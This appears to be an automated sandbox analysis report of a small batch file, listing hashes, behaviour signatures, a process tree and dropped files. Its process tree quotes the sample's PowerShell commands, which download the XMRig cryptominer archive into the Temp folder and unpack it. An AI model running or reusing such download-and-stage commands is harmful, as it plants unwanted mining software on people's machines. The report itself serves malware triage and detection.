Analysis

  • max time kernel
    90s
  • max time network
    92s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    1e64009a55d5a9eb64fd903f621e5ae0

  • SHA1

    0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb

  • SHA256

    c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

  • SHA512

    2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:536
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:3696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2404

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    5f4c933102a824f41e258078e34165a7

    SHA1

    d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

    SHA256

    d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

    SHA512

    a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    358613f9d2852d73ef65af684b966bac

    SHA1

    0cd90eff611542a02351d0d82e56d20fc48b7338

    SHA256

    b6f0557d2a3b9480977bf80537dfdd9a5efa160a62a5894745aca8b4d47b0e22

    SHA512

    b06d8926013fbf26d129225c2b90af26a20c19f2ab37f512fa6ab0930347c3f030e0b76adac1e3183d73a651bc8fb3eb52625564f3bf2a6f7e5f9d9c3194731c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mhigz15w.wp1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

    Filesize

    2.5MB

    MD5

    57b7ab5bce7d5e47fd168e1f0d437d32

    SHA1

    050eeae3e0f0e876f9da175347b586871d14fe83

    SHA256

    1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

    SHA512

    8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

  • memory/536-9-0x00000242B2A30000-0x00000242B2A52000-memory.dmp

    Filesize

    136KB

  • memory/536-10-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/536-11-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/536-12-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/536-16-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/536-0-0x00007FFB624C3000-0x00007FFB624C5000-memory.dmp

    Filesize

    8KB

  • memory/2404-26-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/2404-29-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/2404-30-0x0000025461FD0000-0x0000025461FE2000-memory.dmp

    Filesize

    72KB

  • memory/2404-31-0x0000025461FB0000-0x0000025461FBA000-memory.dmp

    Filesize

    40KB

  • memory/2404-28-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB

  • memory/2404-54-0x00007FFB624C0000-0x00007FFB62F82000-memory.dmp

    Filesize

    10.8MB